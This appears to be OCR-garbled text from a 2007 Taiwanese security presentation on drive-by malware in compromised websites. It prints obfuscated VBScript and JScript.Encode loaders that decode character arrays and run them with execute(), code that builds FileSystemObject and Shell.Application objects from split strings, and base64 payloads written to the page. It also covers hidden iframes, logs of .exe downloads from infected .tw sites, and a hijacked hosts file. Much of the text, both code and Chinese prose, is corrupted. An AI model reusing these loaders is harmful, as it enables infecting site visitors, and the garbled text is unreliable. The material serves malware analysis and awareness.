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= <{script language="UBScript'>
function rechange(k}

s=Split(k,",")
MS06-014 =
For i = 8 To UBound{s)

MS06-013 t-tsthr{eval(s(i)})

Hext
rechange=t

MSOG'OO4 End Function

t=""111,118,32 1681, 114,114,111
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Pty function rechange(k}
“.Hln! :_ﬂ-..a-- . 5=Split{k,","}

farm
For i = 8 To UBound{s)
t=t+Chr{eval{s{i}})

Hext

rechange=t

End Function

t=""111,118,32 101,114,114 ,111
,81,81,53,51,55,58,52,53,51,6
46,103 ,111,50,46 105,99 ,112 9



b

- it KSR INE R, et

~ P B E AR S S
- P ¥ L v 2
+ B FHTMLE S » - * K E31 3 hnspesd
- driframe:E i#
RS HARR R R Y F AT R
- 4022 5 #H(RM ~ WAV) ~ Flash#



<|frame src=...

<embed rm
<embed swf

-------

F 1l b
kAR B8 5 0

[HFRERLL
B,
e
xr. e PR R
=y G EEAT P Y BT A
i e i s BRI - B RRE R TARE Y ENETe Y
BT -
P aE BERRE b S R IR ARI VI ET IR, L
LITE
L LT T T B cEENAERAR
A WA
o Wl i

- l - o ‘irl- 1'I-¢F'|¥

o Bl e Pl
4 - MARMT AT EF T

[Hemam ™

>

e UL Bl

AT ooy el

ge="UBScript'>

ge(k)

A

114 114 111
b 8,52,53,51,0
185,99,112,9




-V i ¢ M PIRE F ehl 3 S

/\
V2D

T






» <IFRAME># i 5 s %
frame) > # g¢ H_f - e

(inline frame)

, (floating
PEZER

e ¥ A T U N<IMG>RE] 5o ;V%',%
4+ d

S A

cREF ERGRAR A F G o

b



°b 8 gjv 7] -iframe

= English = BRAE o

B &R 6k ST = = B =

rREEREEHE
*RESE AR
Rk E
HEEEE

- B

» LHEE

|lmewme

2007-06-08 B S EE RGO ERE LEg | e

007-06-05 BiEE 2RI R R E ISR & EEE T 1 e
ao7.0a.17 BN EEERFECERTE - EEEREREALEREHERE: 81

e T2 -
Snn7.ga.ny | B EEEEEGDWITE - EREB AR AR EREE ) M
B !
CEEEE

2007-06-26 B BIEF G FILLR (52 i R S8 f-a0'W32 IRCBat BRP

‘\ 5007-06-27 TR EEInfostealer Lingling B

2007-06-20 BRI EmITrojan Syginre A8
S007-06.15 Eﬂﬁﬁﬁﬂmﬁ#ﬂ%ﬂaﬁﬁlﬁﬂﬂjBacdeDr.ShangHingi‘ﬁFﬁE

|80 % e 1

Yy

| RBABEEHOT -

EBEZE

| - BERFEREE

Qi =
Wit
Q60703-9607/13)




7h i@ fpa 7 -1frame

4 » <|frame></Iframe> % =

BEE &KEE WA HEE

<iframe sre=http:/fwwv.kino.com.tw width=250 height=150 frameborder=0></iframe-

<IDOCTYRE HIML PUELIC -7 /R00 DT HIM 4.0 Transitional/ /BN
<lew gaved From wri=f0023 bt tn: Aiuww. fost. ore. tws ==5
<HTHL><HEAD><T I TLE> BIE &R F 2 R RFE 0« /TITLE><LINK href="./favicon.ico"
rel="SHORTCUT ICON"=
<HETA http-equiv=ontent-Type content="text/html; charset=big5i"><LINE
href="icet . filez/comnon-ie. caa" rel=stylezheet:
<META content="MZHTHL &.00.2800,1595" name=ENERATOR></HEAD:=
<BODY bgColor=#ffffff leftMargin=0 topMargin=0-
<STYLE=#nainpage {

PADDING-RIGHT : Opx; PADDING-LEFT: Opx; BACEGROUND-IMAGE: url(./template/icat2005/ ins
}
#banner {

CLEAR: both; PADDING-RIGHT: Opwx; PADDING-LEFT: Opx; PADDING-BOTTOM: Opx; MARGIN: Op:
h
#Fmain {

CLEAE: both; PADDING-RIGHT: Opwx; PADDING-LEFT: Opx; PADDING-BOTTOM: Opx; MARGIN: Op:

i
2 I | »

v




- 4r » <frame></iframe>

=%

§ BEEE PRERAES HOAC Direct +FHEE

I

7h i@ fpo 7] -Iframe

ERz05EHIR

'Y.'AHOOL Mg EE 0 BE EEE BE 0 YE AR

gl @ 28°%c~36°c &

| #AF1: 8 TRE EEHT EEE Rt 18FCTE Al MG SRR

Prmkans o CEELSE

|

= English = BHAS o L

L
1] =)

E Ea5E%T E = B R

CEEEL

- 2007-06-08 BT E@Z e eclEtaRaniis L3Ee | vew

- 2007-06-05 FHRT T HUREHSRETE RSN & SUEH TH | new

-2007-04-17 [EFFEERMEEM e S ERBS R ERER R ESAZE | EHENTH -
- 2007-03-07 [EFFEERRE Iy SR ERES AR ERRFT IR | Mk LiEs |

o BIEEHOT -

Ea

MAES STEE CEEEE
- 3007-06-26 SRSREPILE FE B EADW22 IRCE oL BPP L ENSERER
uﬁ?ﬁ__; . - 2007-06-22 %EHH'&*SPEEIInfcusteale.r.Lininr?g,B R
+2007-06-20 EHER KEAHE Trojan Syoiner Wietd
ris e i - 2007-06-15 FEnE TR S S R ackdoor. Shangxin & PHE S, CENTA3-0617112)




Transitional/rEN s
i P e
2R/ TITLE><LINE href="./favicon.ico"

reget=big5"><LINE

W \ ,I\ﬂ::
= (1% [width="0"F5 height=0" %1
SIMAGE: url(.ftemplatef icet2005f ins
i
: Opx; PADDING-BOTTOM: Opx; MARGIN: Op:
RIG Opx: PADDING-EOTTOM: Opx: MARGIN: Op:

(£




i LZESTH
* RESE AR
REEn #
RS

WE S

» LEEH

|8l & m e

)

Infostes

T T
o A I S S

A

Bot.BFPF

kooor. ShangxingiFIig

| BEIRENER -

N

B RFEREE iAsEsn

WedE
(DEAT03-06/07/13)




PR 7 AR S 5 0 4 3 B L giscriptans
feo0 B R F TR AL S 0 M€ 4 seriptehdd

¥ AT R (Tscripten g 50

— Real Player : RM# 3t

— Flash : SWF# ;¢
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<html>

<{script language="UBScript'>
function rechange(k)
s=Split(k,",")

A

For i = 8 To UBound{s)
t=t+Chr{eval{s{i}})

Hext

rechange=t

End Function

t=""111,118,32 101,114,114 ,111
,81,81,53,51,55,508,52,53 51,6
46,103 ,111,50, 46,105 ,99 ,112,9
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<html>
{script language = JScript.Encode>#@~"igAAAA==W*x"DkKxP1UBCDuH# ?KE."N"HK Es+xD
BUOXcBrDdD ; trU9 Hm?ﬂIDHm;hlxﬂHHElxc*igwm!:lU?cmsHk+cthw1;:lx?cﬂr?“+{JnJI[Hm;:lU?chG
[HHkUUlDthJ{?G!D1+i}aTMHHH==“ﬂ”E<fscript>
{script language=""JScript.Encode">#@" TuHAAA==EHEE&P~,PIOP{PIGM? :nxDR" .N1YNIUN:+
ﬂcJHHH+“?EhpEﬂ@&P,"P1FxE1Ufr[=99,+f1*l v1.JiRHEE ,~P,m+ ' rbFRBFFZR,R&b TTZZcuwl+,3F+JIRHEE™P ,P"
[ mgQO1 IEH@E”,P"Qﬂc!+nhnﬂnhu;?l‘E““lferr"mPBhi@ﬂ@&,P”P[S,'”Jhﬂ?a]&&ﬂhh diE1"ka
1WhJks1oR/J0xIm LaoEl ,BHEE,™P, " ri\rmiWkWuy
pri@ﬂ@&,"P,:qerSuP:nEi@ﬂ@&,P”,:y':3:BI@#@&P"P,ﬁ"x,Hﬂc!Dll?lﬁBleD‘h SEr#IPEHEEP ,P™C
{Jh?ﬁri@ﬂ@&,N,PEB'kFHc?D.+m:Ei@ﬂ@&“”,PlyxlEle@ﬂ@&P,P,?”'”[ﬁH“DIE?lWB%Im?cEy"EJ*IEH@E”,P,?
RDXanP{Pqi@HEE ™ ,P6cGuEX "+ 13Kr™ ,Ns™UnUd+* I @HE&P™~,6Rdn
HcHpEHEEP™ ,Pox1s+8xJD+dYcnGhrE@#EE ,~P ,sP{™[ Bcmi+CYnG{LnmDcJUm.ra¥YkULcsrURjHAOR -}
4 AmDE™r JhiEHEE™™ ,PYsS2F , ' Pu !+D?a+*kﬂ5ww5ﬂl.‘y#l"@ﬂ@&P””,ﬂUISHB'”wH"Ek“HhE?u‘ﬂ:aFSW
1:EqH#pEHEE, ™ PUR }unxchpE#ELEP ,~PURA.bY+cacDn/aG /n™WIXHpEHEE™P ,PjRUL-n:Wsbs+vBxmhnFB
*1@H#EE™,PjR ; sWk+cbpRHEE™~,P}P{™~00 1DE1YRW %+1¥cJUtns “Rba2UbmlDr Gxr~r JbiEHEE ,P~P5 7
4+ssAG+ ;D+cB Cs+qBJrJrrGulxEVZHIEHEEWIUAAA=="#"B<{/script>

<head>

<title>D<{/title’

</head><body onload=clear{}>

test
</body></html>
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eg=""p"
te=""t"
cc=""%cr"
ccc=""ipt"
ccce=""ing.F"
cc1="ilesS"
cceol="yst"
ccecc1=""emd"
cc2="bj"
cccZ2="ect"
hh=""She"
hhh="11_Ap"
hhhh=""pli"
hhhhh=""cati"
hhhhhh="on"
oo="'0"
ooo=""pe"
oooo="n""
S5t xxxuxx=Ex = document.createElement{aafaaafkaaaa)
Xxxxxxxx.setAttribute aaaaakaaaaaa,
daadaaaafaaaaaaaataaaaaaaaadaaaaadaaaadadaaaaaaaaataaaaaaaadaaadaadaaaaaadaaa
St xExHuxx = xxxxxxxx.EreateﬂhjEct{mm&nn&mmnn&nnmm&mnmn,""}
cet xExHEHE = xxxxxxxx.createuhjEct{hh&hhh&hhhhﬂhhhhh,""}
¥x®xx.type = 1
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<htmlz>

{script language=""UBScript™>

function rechange(k)

5=Split{k,","}

i

For i = 8 To UBound(s)

t=t+Chr{eval{s{i}}}

Mext

rechange=t

End Function

t="111,118, 32,181,114 1148 111 114,32 114 101 , 115,117,189 1841 , 32,118,181 ,128,116 ,13 .18, 77,121
,51,.81,%3,%1,5%,.5%08,52,53,5%1,61,34,184, 116,116, 112,58 , 47,47, 119, 119,119, 46,927,992, 116,116,119,
46,99 111,189, 47,108,929 47 115,111,118, 121,47 109,456,101 126,101 ,34,13,16,83 101,116 ,32,67 , 6
5,

i=t

execute{rechange(I})

<fscript>

£fhtml>
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"IgBKICAQIFhNTDEQPSALITW1 jIgBKICAQIFhNTDIgPSAic)
kYiSTIQBKICAQIEFkb1HxYTIgPSAidHJ1YWAIDQogICAghI
1LmMuybSIHCiAQICBTRE8QICAQPSALIUZHYaXEBalSnLkZphi
SLEFwcGxpY2F8aWulqAKICAQIGRSICAQICAYICJodHRWO:
wbmciDQogICAgQUZUBIGRNIDAGZGY jdW11bnQuy3J1YXR1R)
1dGUgImNsYXNzaWQilLCBjbE1ENSZ jbE1EMgBKICAQIFH1dI
iKQBKICAQIHNIACBTICA?ICBKZi5 jemUhdGUuYmplY3Qon)
uTnUtYmlyIDBgMCBAaGUuDQogICAQICAGZK Jyl mHs2WFpDi
wZWagbhBd1dCuwgZGuws IEZhbHN1DQogIGCAQeCSTZWSKDQogI |
pPOogICAQCcZUAIHRECCA? IEYUR2VAU3B1Y21hbEZUbGR1 G
sZmohbWUxKQBKICAgIFHub3B1bgBKICAQIFHud3 JpdGUgel
hbWUxLDINCiAgQICBTLmHsb3N1DQogqICAQc2UBIFEQIDAg2|

function aa{str,n) {
var i, sa,sal,l;
str = basedihdecode({str);
1 = str.length

SbEU4ZWN1dGUgZnShbWUXLEIiLCIilCJucGUulivubQogll| 54 = Str-5“h5trfl‘“-1lf
+DQogICAgPHRpdEx1PK1udGUybnlBIEVACGRYCMUYPCY Ba; sal = str.substr(®,1-n);
tbD4gICAQICAQZGY jdi11bnQud3JpdEUgKCIB8aWZy Y 1II sa = sa+sal;
pDQo8aHRtbDANCiABCc2HyYaXBBIGxhbnd 1YWd1PSJUQL1N] ) ]
gICBjbELEMSAQPSAiY2xzaSINCiAgICBjbE1IEMiAgPSALZI return sa;

FHzY¥=""; ducument.write(aa(h,138}};{ISEFIPT> ’
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- Stopbadware

- http://www.stopbadware.org/home/reportsear
ch

Q- 1 L

* Y Fu ;% j’i ‘? ‘%E _'—;:‘__.l_.:
- http://x-solve.com/blog/
. %

- http://rogerspeaking.blogspot.com/

b


http://www.stopbadware.org/home/reportsear
http://x-solve.com/blog/
http://rogerspeaking.blogspot.com/

- Stopbadware

stop ¥ ware.org

Regaining Control of Our Computers

Home Ahout Lls Dur Reports Clearinghouse Fight Back About Badware

Search Badware Website Clearinghouse

Flease enter the full or partial URL of a site to find any related badware reports:

You searched for items containing the term ".tw’ there are 994 results.

“ Search Clearinghouse

To display all sites in the Badware Website Clearinghouse, click here. Please note that this page will take several minutes to
load.

Resuwlts will be displaved below. Clicking on the search reswlt will not talie vou to the displayed link, but will takie you to 2
dinamicali-gensrated page that will show you information about the site.

Count  Source Decision  URL inthe box below and hit'Enter to
search:

1. Google ; {(10043.1-Ttaur. cam.tw)

2. Google @ (101, ec. org. tw)

) Google ; (16t ravel. corm.tw)

A Concla 53 FOOELR] otone teedabnnt

Security Tips

StopBadware Manifesta

Guidelines

Badware Website
Clearinghouse

94500

Reported URLs

Clig here to wiern all URLs that hawe
been reported to us by our partners
{pleaze note that this page will take
sewerdl minutes to load), or type a term
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ICSTJ

- BUBERR A XWebAnalyzer 1.0-bl
- ¥ResRFHE 2007/6/8 4 03:17:18
- SFIRRE AL 16 {i&

ot HER: JEEE
¥ haaEHE: http://www.ta-chiang.com.tw

1. EBEEESEHEE - http://520.gamaniatw.com/520.exe
(C:'\DOCUME~1'\ova\LOCALS~1\Temp\22085.com)

SHTIEEE: 7

e E & PERBIRRE L SR e
ﬁ Fh#EHE: http://h appyba]l.org.tw

1. BEESEEE : http://download.macremedia.net/exe/flash.exe

(C:\Documents and Settings\oya'Local Settings\Temporary
Internet Files\Content. IES\0J291ZUZ\flash[1].exe)

SHILE: 33 7

s E £L: Welcom to BabyHood S8 Bl 43E
FEG4EHE: http:/www.ibabyhood.com/

1. EBEEIEHEE : http://www.dyparagon.co kr/gon/gmsex . exe
(C:\DOCUME~1'oyva\LOCALS~1\Temp\moi.com)

SIHTTEER: 27 #
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Malware-Test Lab 725 B (SIS 1ER5:E4 EE D/ Gramiess: B =08

20076 H11H B8 —

PCuSER TR A Eub i {E A BB S

PCuSER EH4AANHE A SEER - LB S8 FRETHOG 88 ipg || b |
RIEEERENEE  BRESAREECHEN  magRTEHES ELZE

fadgsh - Diehd  FEFMMACDEEER  SEREHHS (MEREAE gy oo 56

i S R B © SIEEENEE - ARG LRE—T - &

1% ERREERTER - WH - EICEAMET - B8 -

[+] ERHE . FEERIRE R 2L

Ek: = 58

IERYSE 0 ROGER (it T4 3:24 0 i@E [ HOIE S Coogle Bitms
h BE BEEA #AnER Remove Worms on



e rh T 3B
S A AP G G £ BAR

//JF'H’i N ,E,j “"-!; F E

B r#gsHEHE R s FF_IJAﬁ FERAERATE R, PRIEEEEIA
hosts 22 (AI'F ED =2 "SRERKINRE , PRYEENARES
HY " BR$IAYERE, , e

For example:

102.54. 94,97 rhino. acme . com

B
#
#
# 38.25.63.10 x. acme, com

127.0.0.1 localhost

AR EREEEY

MES{U-NEEEEEEE  FHEFSATERNEERGE hosts 185 » S{UA[LL
T &k hosts #8228 (MD5: 53sferogzsozssfeqdizaghbegqbicsya » BERHEH ©
2007 4/ 11 @ 15:42) « FFEEEEEET] ®SystemBoot % svstem 32\ drivers' ate
FHEAET (EWindows KP » %SystemBoot® {83 o\ windows » o\ 2 EEEE
HIER) -

> > R RIS B < < < BRER ...

B VHV.CI

yusahi.com
FoUyou250.202.icpen.com
VITI52000.512).c010

www b vadesunjionderunhdae.com
www 5. vadesunjionderunhdae.com
wiww J.vadesunjionderunhdae.com
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« SCOUT - Speedy Complete Online URL
Test

- http://www.nz-honeynet.org/cwebservice.php



http://www.nz-honeynet.org/cwebservice.php

A J

_<U
g

SCOUT - Speedy Complete Online URL Test

This page allows wou to submit & suspicious URL to our high
interaction client honeypot Capture to determine whether the
suspicious URL is indeed malicious. The client honeypot, which runs
Windomws ®P and Internet Explorer 8, will make the reguest to the
server and determine whether any unauthorized state changes, such
as placing an executable file in the start-up folder, have heen made. If
these state changes are detected, our client honeypot will classify the
LIRL as malicious.

Flease enter a suspicious URL {for example hitpdhseane google.com).

i i

Suspicious URL {starting with htlp:n'):|

;Securiw Cnde:| |
Subrolt




SCOUT - Speeiy Complete Online URL Test

Thiz page allows you fo submit a suspicious URL to our high
interaction client honeypot Capture to  determine  whether the
suspicious LIRL is indeed malicious. The client honeypat, which runs
Windows HP and Internet Explorer B, will make the request to the
senier and determine whether any unauthorized state changes, such
as placing an executahble file in the stat-up folder, have been made. I
these state chanoes are detected, our client honevpot will classify the
LIEL as malicious.

=== The URL has bheen submitted to the client honeypot. The results
of the analysis will appear in approx. 60 seconds below...<<<

=22 The URL you have submitted to us seems to he henign. =<<

This sewice has heen made possible by Mictaria University of
Wellington. Because there are only limited amount of hardware
resourzes bhehind this service, concurrent requests have heen capped.
If the page indicates that the client honeypot is busy, please i hack
again later., Help us to expand this service by donating. See
hitp et nZ-honeynet.orgfdonations. hitml for more details on how to
danate.

Mote: There is nowarranty to the classification provided. By submitting
LIELs through this interface you are consenting to the use of the LIRL
in further research studies.
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